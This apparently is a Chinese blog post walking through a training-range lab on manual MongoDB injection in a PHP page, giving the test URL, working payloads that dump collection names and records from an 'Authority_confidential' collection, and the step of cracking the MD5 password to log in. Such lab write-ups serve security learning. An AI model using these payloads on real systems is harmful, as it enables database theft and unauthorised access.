NOSQL MongoDB 注入——本质上还是和sql注入是类似的

墨者学院 - SQL手工注入漏洞测试(MongoDB数据库)

SQL手工注入漏洞测试(MongoDB数据库)

背景介绍

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

附上源代码截图:

未标题-1.jpg

实训目标

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解MongoDB的数据结构;
4.了解字符串的MD5加解密;

解题

手工进行SQL注入测试,获取管理密码登录。

 

# 查看是否有注入点
http://ip/new_list.php?id=1'

# 想办法闭合语句,查看所有集合
# db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
http://ip/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),2:'1

类似语句:

 select SCHEMA_NAME from information_schema.SCHEMATA

 

# 查看Authority_confidential集合的第一条数据
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),2:'1

类似语句: 

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='Authority_confidential' 

# 查看Authority_confidential集合的第二条数据
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2:'1

 

得到用户名密码,密码用md5解密

登陆,获得key

posted @ 2021-06-14 23:44  bonelee  阅读(883)  评论(0编辑  收藏  举报